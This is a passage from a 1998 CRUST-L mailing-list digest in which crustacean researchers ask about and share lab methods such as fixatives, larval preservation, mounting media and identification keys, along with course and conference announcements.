sapidus) cruise along quite well at the surface in tidal currents. They maintain position in the water column by effective sculling of the "paddles." =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Simon Enderby" Date: Thu, 05 Feb 1998 18:03:36 PST Subject: CRUST-L: humphead wrasse stomach contents Dear all, I am currently working on the impact cyanide and dynamite fishing techniques upon coral reef fisheries and especially the endangered humphead wrasse or napolean or mauri wrasse, Cheilinus undulatus. Over the 2 month period I have clocked up many hours of underwater observations on known individuals regarding general ecology and feeding behaviour of truly wild (non diver fed) fish. Sad though it may seem, one of my highlights to the work was the collection of 2 faecal samples from juvenile/sub-adult C. undulatus, to my knowledge the first ever. To my knowledge only one paper has ever been published upon the stomach contents of C. undulatus, Randal 1976, and so data is lacking to say the least. I am looking for an idiots guide to crustacean parts to use as guidance on my identifications or better still names of scientists to whom i could send my precious samples for identification. I have already had a general inspection and can identify sizeable body parts of either small swimming crabs, hermits, sea urchin spines and some small fish bones, i am sure there is more to see and i would love to know the specifics. I would be very grateful for any help or pointers in the right direction. yours sincerely simon enderby IBEC UNIMAS 94300 KOTA SAMARAHAN SARAWAK MALAYSIA FAX: 00 6 082 671903 EMAIL: simon_enderby@hotmail.com ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Kostas Kapiris Date: Fri, 06 Feb 1998 08:17:42 +0200 Subject: [none] Dear CRUSTers, Does any one knows the exact proportion of the components of Gilson's fluid (preservative of the ovaries) ? I can't come off the perfect dissolution of the mercuric chloride in the solution and I don't know the reason. Can anybody advices me? Is there any other preservative more effective than this for the preservation of the crustacean ovaries? Thanks a lot Kapiris Kostas KAPIRIS KOSTAS NATIONAL CENTRE FOR MARINE RESEARCH INSTITUTE OF MARINE BIOLOGICAL RESOURCES AGHIOS KOSMAS, 166 04 HELLINIKON - GREECE =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Zhao Jianhong Date: Fri, 6 Feb 1998 15:25:35 +0800 (SST) Subject: CRUST-L: ATP in cerebral ganglion of E. sinensis Dear colleagues: I plan to investigate the biochemical responses of the freshwater crab, E. sinensis to the lethal environmental ammonia. As is widely accepted, the central nervous system is the most vulnerable organ, then it appears that my research should target on this organ. However the problem is the cerebral ganglion in this species is so tiny (only a few mg) that it is very difficult to obtain adequate samples for determination of ATP level in the ganglion as well as to collect samples as fast as within one minute. Now my questions are: 1. Are there any references which deal with collection of cerebral ganglion in this species or other crustacean species and the biochemical analysis with crustacean cerebral ganglion? 2. Which kind of killing method is appropriate to crabs when the activities of GlDH (glutamate dehydrogenase) and GS (glutamine synthetase) in hepapancreas and muscles; concentrations of ATP, glutamine, and alpha-ketoglutarate in the above tissues and maybe in cerebral ganglion will be measured? Is MS-222 a suitable anaesthetic? 3. Is there any latest reference out here about biochemical responses of crustaceans to ammonia toxicity? Any comments and suggestions are always welcomed. Thanks in advance! J. H. Zhao School of Biological Sciences National University of Singapore lower kent Ridge Road Singapore 119260 Fax: 65-7792486 Tel: 65-8747836 (O) email: scip5001@nus.edu.sg zhaojh16@hotmail.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #119 ***************************** From owner-crust-l-digest@vims.eduFri Mar 13 11:18:00 1998 Date: Tue, 10 Feb 1998 09:20:23 -0500 From: owner-crust-l-digest@vims.edu Reply to: crust-l@vims.edu To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #120 crust-l-digest Tuesday, 10 February 1998 Volume 01 : Number 120 Re: CRUST-L: Larval biochemistry CRUST-L: Histological sections CRUST-L: 1998 summer course CRUST-L: Re: Gilson's Fixative CRUST-L: Hello! CRUST-L: decapod larvae CRUST-L: mouthpart slides Re: CRUST-L: mouthpart slides CRUST-L: Searching information for Lysmata wurdemanni CRUST-L: Crustacean Control Region Primers [none] CRUST-L: mouthpart slides -Reply CRUST-L: Aquatech '98 Announcement CRUST-L: green crab juveniles CRUST-L: Numero 2 de la Revista AquaTIC ---------------------------------------------------------------------- From: Gilbert Van Stappen Date: Fri, 6 Feb 1998 09:25:44 +0100 (MET) Subject: Re: CRUST-L: Larval biochemistry Dear Brent, I tried to answer some of your questions regards - ------------------------------------------------------------------------------ Karla Van Ryckeghem Laboratory of Aquaculture & Artemia Reference Center University of Gent, Rozier 44, B-9000 Gent, Belgium tel: + (32) 9 264 37 54 fax: + (32) 9 264 41 93 @ : karla.vanryckeghem@rug.ac.be - ------------------------------------------------------------------------------ On Thu, 5 Feb 1998, Brent Newman zool wrote: > 1. Can the larvae be frozen until the analyses can be performed (about > 6-8 months later). If so, what is a suitable freezing temperature? Does > anyone have any comments/suggestions as to in what containers the larvae > should be frozen. Should a smalll volume of water be included along with > the larvae? Yes, only if they are frozen immediately after sample taking and homogenized at -25 or -30C . The recipients are preferably glass tubes with screw cap, which can be closed tightly and flushed with nitrogen. No water at all should be added. The samples must be as dry as possible!! About sample amounts, e.g. if proximate composition (lipid, protein, water, ash and carbohydrates) on wet samples (tissue) has to be determined at least 7 g of wet material should be available. If the material is dry (diets) less is needed. For other analysis, like vitamins other sample preparations are necessary!! (-80C)... > 2. Can biochemical analyses be performed on larvae previously preserved > in formalin? I would not advice that. Some components might be extracted in the solvent so you cannot simply remove the solvent. The sample will be too wet. > 3. Is anyone aware of very recent literature ie very late 1997/1998 which > provides new techniques for C,N,H, lipid and protein fractions. I have > several of Klaus Angers recent papers and will use similar techniques if > there is no additonal info. Any comments!! There exist some very nice new techniques to determine N and C quickly on small sample amounts with very expensive equipment. In our lab we use simple techniques: for lipids: cold extraction (Folch) for protiens: Kjeldahl for ash ans water content: ovens carbohydrates are determined by substraction. > > > Lastly, should we be able to freeze the larvae, I presume that eggs can > be treated in the same manner! Yes, eggs should be treated in the same way (as dry as possible > > Looking forward to hearing from you. > Regards > Brent > > Brent Newman > University of Zululand > South Africa > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Abdu uri Date: Fri, 6 Feb 1998 11:58:30 -0800 (PST) Subject: CRUST-L: Histological sections I am trying to do some histological work of ovaries from Cherax quadricarinatus for light microscope. I have fixed the ovaries in Bouin`s solution, dehydrated and did parafin sections. I have encounter some problems working with late vitellogenic ovaries , most of the cytoplasm of the oocytes was empty . Could someone know a suitable procedure for histological sections of late vitellogenic ovaries? ( Mainly a procedure that don't need a dehydration). =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chuck Derby Date: Fri, 6 Feb 1998 08:41:16 -0500 (EST) Subject: CRUST-L: 1998 summer course We would like to advertise a 3-week course to be offered in July 1998 at the Bermuda Biological Station for Research. The course is "Chemosensory Neurobiology in the Marine Environment". This is the 2nd installment of the course, the first offering being in 1996. The course should be of special interest to advanced undergraduate and graduate students who which to learn cellular, molecular and systems experimental approaches to the study of nervous systems, and to do so in a beautiful and stimulating setting. A brief description of the course and the Bermuda Biological Station for Research are given below. A more complete description can be found at http://www.bbsr.edu , or by contacting either of us. Charles Derby Henry Trapido-Rosenthal Dept of Biology Bermuda Biology Station for Research Georgia State University Ferry Reach Atlanta GA USA St. George's GE-01 BERMUDA email cderby@gsu.edu email hank@bbsr.edu tele 404-651-3058 tele 441-297-1880 ****************************************************************** Chemosensory Neurobiology in the Marine Environment" July 12 - August 1 (3 weeks) Faculty: Dr. Henry Trapido-Rosenthal, BBSR; Dr. Charles Derby, Georgia State University. This course will study chemosensory neurobiology in the marine environment at the physiological, biochemical, and molecular levels. Lectures will deal with chemoreception in a variety of marine organisms. Laboratory exercises and research projects will use the olfactory system of the spiny lobster, Panulirus argus, as the main teaching and research tool. Receptor cell electrophysiology and activity labeling, biochemistry of receptor and perireceptor phenomena, and the application of the tools of molecular biology to the study of chemosensory systems will be among the techniques that students will have the opportunity to learn and apply to novel research questions. This course emphasizes experimental techniques and approaches to the study of chemosensory biology, and is designed to benefit graduate students and advanced undergraduates who have interests in systems, cellular, or molecular biology. ****************************************************************************** THE BERMUDA BIOLOGICAL STATION FOR RESEARCH. Located on the world's northern-most coral reefs and surrounded by clear, deep ocean, the Bermuda Biological Station for Research (BBSR) offers a high-quality slate of intensive summer courses geared to upper level undergraduate and graduate students. Excellent facilities and equipment, ready access to a variety of marine environments, comfortable accommodation and a supportive staff combine to create a productive study atmosphere. The BBSR is an independent U.S. marine research and educational institution with resident research programs in reef ecology, oceanography, marine and atmospheric pollution, molecular biology and global change. APPLICATIONS. Applications received by March 1, 1998 will be judged in the first round of admissions and scholarship decisions. Later applications will be considered on a space-available basis. The first day listed for the course is the arrival date in Bermuda. SCHOLARSHIPS. Competitive scholarships are awarded for all courses and are applied to cover course tuition, room and board. On average over half of the course costs are covered and many students receive full support. Scholarships are also available for U.S. minority students via grants from the Exxon Corporation. Other scholarships are available specifically for U.K. and Canadian nationals. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 6 Feb 1998 09:37:57 -0500 (EST) Subject: CRUST-L: Re: Gilson's Fixative > Does any one knows the exact proportion of the components of Gilson's > fluid (preservative of the ovaries) ? I can't come off the perfect > dissolution of the mercuric chloride in the solution and I don't know the > reason. Can anybody advices me? Is there any other preservative more > effective than this for the preservation of the crustacean ovaries? Gilson's Fixative (from Humason, 1979): nitric acid, conc. 15 ml glacial acetic acid 4 ml mercuric chloride crystals 20 gm 60% ethyl alcohol 100 ml distilled water 888 ml "Good for invertebrate material. Does not give a good histological picture; shrinks cytoplasm badly. Wash in 50% alcohol. Posttreat for mercuric chloride. Good for beginners, easy to work with." "For mercuric chloride removal: transfer to 70% EtOH containing saturated soln of iodine. Leave in solution for 5-8 hour, but no longer. Add solution loses color, add more. Later, when staining the sections, include iodine-alcohol or Lugol solution in the staining series to eliminate remaining crystals from sections." I use Bouin's on crabs and Davidson's on abalone routinely. Both give reasonable results with ovaries. You may want to lengthen embedding times if you're having trouble with penetration. Be sure to use 10 times more fixative than tissue to insure proper fixation. Smaller samples are generally better as they fix better, allow better penetration, and are easier to cut. Cheers, Jeff jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\ 0 | | 0 // Gloucester Point, VA 23062, USA \\__\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \^ ^^ ^/ http://www.vims.edu/~jeff/ <====\^ ( ) ^/====> <====\^ ^/====> <====\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: merinl@dux4.tcd.ie (Leticia Merin) Date: Fri, 6 Feb 1998 18:38:22 GMT Subject: CRUST-L: Hello! I'm working in Trinity College with decapod larvae especially with brachyura and I'm still looking for additional keys. Does anybody out there know about any brachyura keys for both zoeae and megalopae? Thanks! leticia Merin ________________________________________________________ Leticia Merin Tel: 00-353-1-6082250 Department of Zoology Fax: 00-353-1-6778094 University of Dublin E-mail merinl@mail.tcd.ie Trinity College Dublin 2 Ireland ________________________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Sat, 7 Feb 1998 14:29:29 -0500 (EST) Subject: CRUST-L: decapod larvae Please respond to Leticia Merin, and not to me. THanks, Jeff - ---------- Forwarded message ---------- X-Sender: andy@shark.sfei.org Date: Fri, 6 Feb 1998 12:50:56 -0800 To: crust-l@vims.edu From: Andy Cohen Subject: decapod larvae This may help: J. Paula (1996) A key & bibliography for the identification of zoeal stages of brchyuran crabs from the Atlantic coast of Europe. J Plankton Res 18(1): 17-27. >Date: Fri, 6 Feb 1998 18:38:22 GMT >X-Sender: merinl@mail.tcd.ie >Mime-Version: 1.0 >To: crust-l@vims.edu >From: merinl@dux4.tcd.ie (Leticia Merin) >Subject: CRUST-L: Hello! >Sender: owner-crust-l@vims.edu >Precedence: bulk >Status: > > >I'm working in Trinity College with decapod larvae especially with brachyura >and I'm still looking for additional keys. >Does anybody out there know about any brachyura keys for both zoeae and >megalopae? > >Thanks! > >leticia Merin > >________________________________________________________ > >Leticia Merin Tel: 00-353-1-6082250 >Department of Zoology Fax: 00-353-1-6778094 >University of Dublin E-mail merinl@mail.tcd.ie >Trinity College >Dublin 2 >Ireland >________________________________________________________ > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > Andrew N. Cohen San Francisco Estuary Institute 180 Richmond Field Station 1325 South 46th Street Richmond, CA 94804 USA phone: (510) 231-9423 fax: (510) 231-9414 email: acohen@sfei.org =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: HANEYT@folly.cofc.edu Date: Sat, 07 Feb 1998 18:46:52 -0400 (EDT) Subject: CRUST-L: mouthpart slides Dear subscribers, Hello. I am returning amphipod material to a museum collection and must prepare permanent mounts of dissected appendages. I would be grateful to anyone who could suggest a suitable and readily available mounting medium for their long-term storage. Sincerely yours, Todd Todd A. Haney University of Charleston Grice Marine Biological Laboratory 205 Fort Johnson Charleston, South Carolina 29412 haneyt@folly.cofc.edu (803) 406-4000 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Sun, 8 Feb 1998 11:17:32 -0600 Subject: Re: CRUST-L: mouthpart slides Hoyer's. The recipe should be in any entomology or acarology book/manual (such as G. Krantz's "A Manual of Acarology". Jerry Barnard gave directions on how to make permanent slide mount of amphipod mouthparts in his "Families and Genera of Amphipods", Smithsonian Inst. I forget the rest of the ref., but I image you have it anyway. The problem with Hoyer's is that it requires chloral hydrate, a schedule I narcotic. Still possible to get, but more red tape. You can also try Canada Balsam, but it doesn't clear the specimens like Hoyer's does. Phil >Hello. I am returning amphipod material to a museum collection and must >prepare permanent mounts of dissected appendages. I would be grateful to >anyone who could suggest a suitable and readily available mounting medium >for their long-term storage. > >Sincerely yours, > >Todd > >Todd A. Haney >University of Charleston >Grice Marine Biological Laboratory >205 Fort Johnson >Charleston, South Carolina 29412 > >haneyt@folly.cofc.edu >(803) 406-4000 }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Gonzalo Hernandez" Date: Sun, 8 Feb 1998 17:15:01 -0400 Subject: CRUST-L: Searching information for Lysmata wurdemanni Hi Crustlers: One of our graduate students intends to study morphological and physiological aspects of the larvae of the peppermint shrimp Lysmata wurdemanni and he would appreciate information about: - - E-mail address of CECILIA M. RILEY (University of Texas Marine Science Institute) - - How can he get a copy of the following article "CROMPTON, W.D. 1992. Laboratory culture and larval development of the peppermint shrimp, Lysmata wurdemanni Gibbes (Caridea: Hippolytidae). Unpublihed Masters Thesis, Corpus Christi State University, Corpus Christi, TX" Thanks in advance ========================= Gonzalo Hernandez G. Universidad de Oriente Nucleo Nueva Esparta Apdo. postal 147 - Porlamar Isla de Margarita - Venezuela ========================= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Ovenden, Jennifer R." Date: Mon, 9 Feb 1998 08:53:00 +1000 Subject: CRUST-L: Crustacean Control Region Primers Dear All, Does anyone have primers for the amplification of the control region (D-loop) of the mitochondrial genome of crustaceans, preferably crabs? I am planning to test the hypothesis of panmixia for spanner crab (Raninia ranina) populations off the east coast of Australia. Many thanks, Jenny Dr Jenny Ovenden Fisheries Biologist (Genetics) Southern Fisheries Centre PO Box 76 Deception Bay 4508 Qld email ovendej@dpi.qld.gov.au Ph (07) 3817 9585 Fax (07) 3817 9555 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Frank Fiers Date: Mon, 9 Feb 98 11:54:36 +0100 Subject: [none] Announcement CATALOGUE OF THE NEW MARINE HARPACTICOID COPEPODS (1997 edition) by Philippe Bodin in: Documents de Travail de l'Institut royal des Sciences naturelles de Belgique, 89: 1-304 (ISSN 0777-0111). In 1967, Philippe Bodin from the University of Brest (France) published his first amended list of the marine harpacticoid copepods which were discovered or redescribed after the appearance of the reputed Monographie der Harpacticiden by Karl Lang (1948). Updates of Bodin's catalogue were published at regular intervals, and became an unrivaled source of information for curators, students and researchers working on marine harpacticoid copepods. The latest edition dates back to 1988, but within a timespan of nearly 10 years, 172 papers dealing with marine harpacticoids appeared, and the systematic framework as proposed by Lang in 1944 and 1948 has been drastically changed. The new 304 pages thick catalogue of the marine harpacticoids, is far more than an update of the 1988 edition. It gives the reader an overview of what has changed in the last decade, and while the catalogue is particularly devoted to marine harpacticoids, it also refers to valuable information about the systematic framework of freshwater families. In the appendix, the catalogue lists the systematic framework of the Harpacticoida, as proposed by Lang in a preliminary account he published in 1944. Privately issued by Lang himself, the paper has been rarely referred to as it becames a curiosity and difficult to obtain. This explains some of the confusion that arose about the correct publishing dates of several taxa. Because of the taxonomic importance of that work, the 1997 edition contains the entire list of taxa dealt with in Lang's 1944 paper. All information about the catalogue can be obtained at the following address: Royal Belgian Institute of Natural Sciences c/o Frank Fiers Vautierstraat 29 B-1000 Brussels Belgium Tel. --(32.2) 627.42.80 Fax. --(32.2) 627.41.13 E-mail. frankfiers@kbinirsnb.be =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Judith Price Date: Mon, 09 Feb 1998 15:17:58 -0500 Subject: CRUST-L: mouthpart slides -Reply As a museum collection manager, I would hope this question would first be directed to the owners of the material to ask their preferences. There is a difference between what will give the best results for short term requirements (eg., Hoyer's for its clearing abilities) and what will last in the long term (eg., Canada balsam). There are slides of Hoyer's medium in the CMN collection which are in poor condition after ten years, so it would not be a medium I would suggest for use in long-term storage. Judith (Ms) Judith C. Price Assistant Collection Manager, Invertebrates Canadian Museum of Nature jprice@mus-nature.ca tel. 613 566-4263 fax 613 364-4027 Please visit us at http://www.nature.ca >>> 02/07 5:46 pm >>> Dear subscribers, Hello. I am returning amphipod material to a museum collection and must prepare permanent mounts of dissected appendages. I would be grateful to anyone who could suggest a suitable and readily available mounting medium for their long-term storage. Sincerely yours, Todd Todd A. Haney University of Charleston Grice Marine Biological Laboratory 205 Fort Johnson Charleston, South Carolina 29412 haneyt@folly.cofc.edu (803) 406-4000 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Dave Conley" Date: Mon, 9 Feb 1998 12:15:33 -0800 Subject: CRUST-L: Aquatech '98 Announcement AQUATECH '98 - "Science & Industry: A Winning Team for Aquaculture", March 7-8, 1998, Westin Bayshore Hotel, Vancouver, British Columbia, Canada. Hosted by the Pacific Institute for Aquatic Biosciences. The conference highlights opportunities for applying the latest R&D in aquatic biotechnology and biosciences. Sessions will encourage dialogue between scientists, suppliers and producers about new developments in health care, environmental practices, molecular engineering, and the culture of alternative species. For more information contact: Anne Barbosa or Devon Knight , Tel (604) 983-3173, Fax (604) 983-3183 or email: dke@istar.ca. Web Site: www.piab.org =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Karen T Lee Date: Mon, 9 Feb 1998 15:45:40 -0500 (EST) Subject: CRUST-L: green crab juveniles I need to collect very small carcinus from a southern and a northern location. Does anybody know approximately what month the juveniles can be collected in New Jersey and/or Connecticut? Thanks. Karen ******************************************** Karen T. Lee (ktlee+@pitt.edu) Department of Biology University of Pittsburgh at Johnstown Johnstown, PA 15904 814-269-2912 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Revista AquaTIC Date: Tue, 10 Feb 1998 14:03:53 +0100 Subject: CRUST-L: Numero 2 de la Revista AquaTIC Dear friends Sorry for cross-postings and for writing in spanish part of this message, but this is the announcement of the second number of a electronic magazine of Aquaculture: AquaTIC =09 http://AquaTIC.unizar.es Thanks NACHO DE BLAS - --------------------------------------------------------------------- Estimados amigos, me complace informar la publicacion del segundo numero de la Revista AquaTIC dedicada a la acuicultura, cuyo URL es: http://AquaTIC.unizar.es En este segundo 